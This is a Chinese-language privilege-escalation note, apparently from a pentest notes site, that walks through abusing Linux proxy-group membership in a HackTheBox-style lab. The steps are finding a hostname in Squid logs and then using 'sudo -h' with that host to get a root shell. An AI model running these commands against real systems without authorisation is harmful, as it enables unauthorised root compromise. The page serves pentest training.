> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/user-groups/proxy-group-linux-privilege-escalation.md).
# proxy 组滥用 - Linux 权限提升
## 这是什么
危险的本地组成员关系即使不需要内核漏洞利用，也可能暴露特权资源。docker、lxd、adm 或 proxy 等组可能赋予主机控制权、敏感日志访问权限，或提供对横向移动和提权有用的配置路径。本页具体聚焦于 **用户组（proxy）** 并保持利用流程切合实际：识别条件，安全验证，然后运行证明影响所需的最小载荷。
## 枚举
在运行利用路径之前，先确认本地上下文和具体的错误配置。
```bash
id
groups
```
## 示例
代理和主机名滥用
通过审计用户的组，我们看到我们属于 proxy 组。我们正在查找相关文件：
在检查 Squid 日志（`/var/log/squid/access.log.1`）时，我们查找与代理相关的条目和由该组拥有的文件：
```bash
find / -group proxy 2>/dev/null
```
我们发现一个内部子域名： `offramp.expressway.htb`.
```bash
cat /var/log/squid/access.log.1 | grep httpp
```
通过检查此特定区域的 sudo 策略，我们发现我们拥有完全权限：
```bash
sudo -h offramp.expressway.htb -l
```
结果：我们可以在此主机上下文中以 root 身份执行任何命令。
**最终以 Root 执行：**
```bash
sudo -h offramp.expressway.htb /bin/bash
```
---
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